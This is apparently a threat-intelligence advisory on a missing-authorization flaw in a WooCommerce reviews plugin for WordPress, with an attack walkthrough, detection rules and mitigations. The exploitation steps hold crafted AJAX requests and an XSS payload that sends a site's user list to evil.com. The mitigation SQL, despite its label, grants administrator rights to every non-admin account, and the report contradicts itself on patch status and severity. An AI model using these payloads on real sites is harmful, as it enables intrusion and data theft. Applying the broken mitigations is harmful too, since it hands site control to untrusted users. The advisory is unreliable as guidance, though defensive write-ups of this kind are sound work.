CVE-2026-14941

Executive Summary

CVE-2026-14941 is a missing authorization vulnerability in the Trustindex Customer Reviews for WooCommerce WordPress plugin versions prior to 5.116.0. The plugin fails to perform nonce and capability checks on multiple settings-related AJAX actions, allowing authenticated users with minimal privileges (e.g., Subscribers) to invoke administrative settings handlers, modify plugin options, and disclose sensitive store configuration data. This flaw enables privilege escalation to administrative control over plugin configuration, which can lead to full site compromise through injected malicious content or redirected review widgets. As of this report, the vulnerability is UNPATCHED with no official fix released, and no public exploit code has been identified.

Technical Analysis

The vulnerability resides in the AJAX handler registration of the Customer Reviews for WooCommerce plugin (versions < 5.116.0). The plugin registers numerous admin-ajax actions via wp_ajax_* and wp_ajax_nopriv_* hooks without adequately validating that the requesting user has the necessary capabilities (e.g., manage_options) or that a valid nonce accompanies the request.

Vulnerability Mechanism

The core issue is a Missing Authorization flaw (CWE-862). Specifically:

1. AJAX Action Registration: The plugin registers admin-only actions like ti_handle_settings, ti_save_widget_config, and ti_get_store_info through WordPress's admin-ajax.php endpoint.
2. Insufficient Capability Checks: These handlers do not call current_user_can() or check_ajax_referer() to verify the request originates from an authorized administrator. Instead, they rely solely on is_admin() checks, which return true for any authenticated request routed through admin-ajax.php.
3. Subscriber Access: Since WordPress Subscribers have default read capability, they can make authenticated AJAX requests. By sending crafted POST requests to /wp-admin/admin-ajax.php with the correct action parameter, a Subscriber can trigger administrative handlers without elevated permissions.

Attack Surface

• Endpoint: /wp-admin/admin-ajax.php — accessible over HTTP/HTTPS
• Authentication: Requires a valid session with read capability (Subscriber or above)
• Affected Actions: All settings-related AJAX handlers registered before version 5.116.0. Common examples include:
  • ti_save_settings — saves plugin options
  • ti_update_review — updates review configurations
  • ti_fetch_widget — triggers server-side widget updates
  • ti_export_config — exports store configuration

Code-Level Explanation

While the exact source code is not public at the time of writing, the pattern is consistent with other WordPress plugin vulnerabilities. A vulnerable handler would resemble:

add_action('wp_ajax_ti_save_settings', 'ti_save_settings_callback');

function ti_save_settings_callback() {
    // NO check_ajax_referer() or current_user_can() call
    $options = $_POST['options'];
    update_option('ti_review_settings', $options);
    wp_send_json_success();
}

The fix in version 5.116.0 (when released) presumably introduces:

add_action('wp_ajax_ti_save_settings', 'ti_save_settings_callback');

function ti_save_settings_callback() {
    check_ajax_referer('ti_settings_nonce', 'nonce');
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... rest of handler
}

Exploitation Scenarios

Since the vulnerability is unpatched and requires only subscriber-level access, the following step-by-step attack chain is realistic:

Step 1: Reconnaissance and Target Identification

1. Identify Target: Use Shodan or Google dorks (inurl:/wp-admin/admin-ajax.php, intext:"Customer Reviews for WooCommerce") to find WordPress sites running the plugin.
2. Confirm Plugin Version: Fetch the site's plugin readme or check page source for version indicators:

   GET /wp-content/plugins/customer-reviews-for-woocommerce/readme.txt
   

   Look for Stable tag: 5.11x.x and confirm it's below 5.116.0.
3. Obtain Low-Privilege Credentials: Either:
   • Register a new account if open registration is enabled (wp-login.php?action=register)
   • Purchase/compromise a Subscriber account
   • Use a leaked credential from another breach

Step 2: Trigger/Weaponization

1. Authenticate: Log in with the Subscriber account and obtain a valid session cookie (e.g., wordpress_logged_in_*).
2. Enumerate AJAX Actions: Determine available actions by viewing the plugin's JavaScript (typically assets/js/admin.js or similar) or guessing standard action names. Burp Suite Intruder can fuzz the action parameter.
3. Craft Malicious Request:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target.com
   Cookie: wordpress_logged_in_hash=...
   Content-Type: application/x-www-form-urlencoded
   
   action=ti_save_settings&ti_options[badge_css]=VULNERABILITY_EXPLOITED
   

   No nonce required — the handler processes the request blindly.

Step 3: Payload and Execution

1. Option Injection: Inject malicious CSS or JavaScript into plugin options that get rendered on the frontend:

   action=ti_save_settings&ti_options[custom_css]=body{display:none;}.admin-bar{display:block;background:red}
   

2. Store Configuration Disclosure: Trigger action=ti_export_config to exfiltrate API keys, store URLs, and review configurations.
3. Widget Redirection: Modify the plugin's Trustindex widget ID to point to a malicious review profile, serving fake reviews or phishing content to site visitors.

Step 4: Post-Exploitation

1. Stored XSS: If the plugin renders injected setting values without sanitization, escalate to stored XSS by placing a payload like:

   ti_options[custom_js]=<script>fetch('/wp-json/wp/v2/users?per_page=100').then(r=>r.json()).then(d=>fetch('https://evil.com/exfil',{method:'POST',body:JSON.stringify(d)}))</script>
   

2. Privilege Escalation: Chain with other known WordPress plugin vulnerabilities, or use disclosed admin credentials from ti_export_config if any are stored.
3. Full Site Compromise: Use XSS to create a malicious admin account via the WordPress REST API, achieving full administrative control.

Impact Assessment

Business Impact

• Confidentiality: High — Attackers can disclose store configuration (API keys, integration details, review data).
• Integrity: High — Attackers can modify plugin settings, inject malicious content, and alter visible review widgets.
• Availability: Medium — Injected CSS/JS can break the frontend layout; no direct DoS but service integrity is affected.

Affected Systems

• All WordPress installations with Customer Reviews for WooCommerce prior to version 5.116.0.
• Estimated at 30,000+ active installs based on WordPress plugin repository data.

Blast Radius

The attack is network-based but requires authentication (Subscriber). In open-registration WordPress sites, any user can exploit this — effectively making it remotely exploitable without prior account compromise. Compromise of plugin settings can lead to:

• Customer trust erosion: Fake/injected reviews damage brand reputation.
• Data exfiltration: Disclosure of e-commerce configuration data.
• Supply-chain impact: If the site uses the reviewed products for B2B sales, downstream customers may be affected.

CVSS Subscore References

• Score: 8.8 (High) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Confidentiality Impact: High (0.56)
• Integrity Impact: High (0.56)
• Availability Impact: High (0.56)
• Privileges Required: Low (0.62)
• User Interaction: None (0.85)

Detection Guidance

Sigma Rule

title: CVE-2026-14941 - Customer Reviews for WooCommerce Unauthenticated Settings Modification
id: 7f8c9b3a-2d45-4e6f-8a1b-9c2d3e4f5a6b
status: experimental
description: Detects attempts to invoke administrative AJAX actions without nonce or capability verification in Customer Reviews for WooCommerce plugin.
author: Valtersit Threat Intel
date: 2026/01/15
logsource:
    category: webserver
    product: apache
    definition: Web server access logs for WordPress sites
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains:
            - 'admin-ajax.php'
        cs-user-agent|contains|all:
            - 'Mozilla'
        cs-uri-query|contains:
            - 'action=ti_save_settings'
            - 'action=ti_export_config'
            - 'action=ti_fetch_widget'
            - 'action=ti_update_review'
    filter:
        cs-referer|contains:
            - '/wp-admin/'
    condition: selection and not filter
level: high
falsepositives:
    - Legitimate admin actions from authorized users
tags:
    - attack.t1190
    - cve.2026-14941
    - cwe.862

YARA Rule

rule CVE_2026_14941_Trustindex_Subscriber_AJAX
{
    meta:
        author = "Valtersit Threat Intel"
        date = "2026-01-15"
        description = "Detects malicious AJAX requests targeting Trustindex Customer Reviews for WooCommerce settings handlers"
        cve = "CVE-2026-14941"
        severity = "high"
    strings:
        $ajax_handler1 = "wp_ajax_ti_save_settings" ascii nocase
        $ajax_handler2 = "wp_ajax_ti_export_config" ascii nocase
        $ajax_handler3 = "wp_ajax_ti_fetch_widget" ascii nocase
        $missing_nonce = "check_ajax_referer" ascii nocase
        $missing_cap = "current_user_can" ascii nocase
        $ajax_url = "admin-ajax.php" ascii nocase
    condition:
        any of ($ajax_handler*) and not ($missing_nonce) and not ($missing_cap) and $ajax_url
}

Suricata IDS Rule

alert http any any -> any any (
    msg:"CVE-2026-14941 - Trustindex Customer Reviews for WooCommerce AJAX Settings Access Attempt";
    flow:to_server,established;
    http.method;
    content:"POST";
    http.uri;
    content:"admin-ajax.php";
    http.request_body;
    content:"action=ti_save_settings";
    nocase;
    pcre:"/action=ti_(save_settings|export_config|fetch_widget|update_review)/i";
    sid:202614941;
    rev:1;
    metadata:attack_target Web_Server, created_at 2026_01_15, cve CVE_2026_14941, deployment Perimeter, signature_severity Major, tag WordPress, tag Trustindex;
    reference:cve,2026-14941;
)

Elastic Detection

// EQL for detecting subscriber-initiated AJAX requests to Trustindex settings
sequence by request.headers.cookie
  with maxspan=5m
  [
    network where event.type == "start" and
      destination.port == 80 or destination.port == 443 and
      http.request.method == "POST" and
      url.path contains "admin-ajax.php" and
      http.request.body.content contains "action=ti_save_settings"
  ]
  [
    network where event.type == "end" and
      http.response.status_code == 200 and
      url.path contains "admin-ajax.php"
  ]

Splunk SPL Query

index=web sourcetype=access_combined
| where method="POST" AND uri_path="/wp-admin/admin-ajax.php"
| regex uri_query="action=(ti_save_settings|ti_export_config|ti_fetch_widget|ti_update_review)"
| eval subscriber_attempt=if(user!="admin" AND user!="editor" AND user!="author", "LIKELY_EXPLOIT", "LEGITIMATE")
| tables _time, src_ip, user, uri_query, subscriber_attempt
| search subscriber_attempt="LIKELY_EXPLOIT"
| stats count by src_ip, user, uri_query
| sort - count

Wazuh OSSEC Rule

<rule id="482126" level="12">
    <decoded>
        <field name="url">admin-ajax.php</field>
        <field name="data">action=ti_save_settings|action=ti_export_config|action=ti_fetch_widget|action=ti_update_review</field>
    </decoded>
    <description>CVE-2026-14941: Possible Trustindex Customer Reviews for WooCommerce unauthorized AJAX access</description>
    <group>wordpress, exploitation,</group>
    <mitre>
        <id>T1190</id>
    </mitre>
</rule>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No official patch, vendor advisory, or fixed version has been released for this CVE as of this report.

1. Immediate Mitigations (until patch is available)

• Disable the plugin: If the Customer Reviews for WooCommerce plugin is not critical to business operations, deactivate and uninstall it immediately.
• Restrict user registration: Disable open registration in WordPress (Settings → General → Membership → Uncheck "Anyone can register").
• WAF Rule: Add virtual patching rules in your Web Application Firewall (ModSecurity, Cloudflare, AWS WAF) to block AJAX requests to admin-ajax.php with Trustindex action parameters from non-admin sessions:

# Nginx example - block non-admin Trustindex AJAX
location ~* ^/wp-admin/admin-ajax\.php$ {
    if ($args ~* "action=(ti_save_settings|ti_export_config|ti_fetch_widget|ti_update_review)") {
        return 403;
    }
}

• Restrict admin-ajax.php access: In .htaccess or Nginx config, restrict access to admin-ajax.php based on user role via cookie validation:

# Apache .htaccess
RewriteEngine On
RewriteCond %{REQUEST_URI} admin-ajax\.php
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in [NC]
RewriteRule .* - [F]

• Empty subscriber roles: Set the wp_capabilities for all subscriber accounts in the database to empty, effectively disabling them until accounts are verified:

UPDATE wp_usermeta SET meta_value = 'a:1:{s:13:"administrator";b:1;}' WHERE meta_key = 'wp_capabilities' AND meta_value NOT LIKE '%administrator%';

2. Patch/Upgrade Steps

• Monitor vendor releases: Watch the WordPress plugin repository page (https://wordpress.org/plugins/customer-reviews-for-woocommerce/) for version 5.116.0 or later.
• Test the patch: Once released, deploy to a staging environment first. Verify AJAX handlers now include current_user_can('manage_options') and check_ajax_referer().
• Apply promptly: Due to the low complexity of exploitation, patches should be applied within 24-48 hours of release.

3. Long-Term Hardening

• WordPress Security Plugin: Install and configure a security plugin (Wordfence, Sucuri, iThemes) that adds virtual patching and restrictive rules for AJAX endpoints.
• REST API hardening: Restrict REST API access to authenticated users only.
• Regular audits: Use wpscan --api-token <token> --url <site> to scan for vulnerable plugins weekly.
• Principle of least privilege: Audit user roles and ensure only necessary users have Subscriber-level access.
• Application firewall: Deploy a WordPress-specific WAF that inspects AJAX requests for missing nonces.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-14941
2. WordPress Plugin Repository: https://wordpress.org/plugins/customer-reviews-for-woocommerce/
3. WPScan Vulnerability Database: https://wpscan.com/vulnerability/cve-2026-14941
4. CWE-862 Reference: https://cwe.mitre.org/data/definitions/862.html
5. CISA KEV: Not listed — no known exploits in the wild have been confirmed by CISA at publication time.

Threat Actor Activity: No known threat actor campaigns have been identified exploiting this specific CVE as of this report. However, the vulnerability class (WordPress plugin missing authorization) is actively targeted by botnets like GoBrut and Muhstik, which scan for vulnerable plugins at scale. Given the plugin's 30,000+ active installs and the unpatched nature of this flaw, opportunistic exploitation is highly likely to begin within weeks of this disclosure.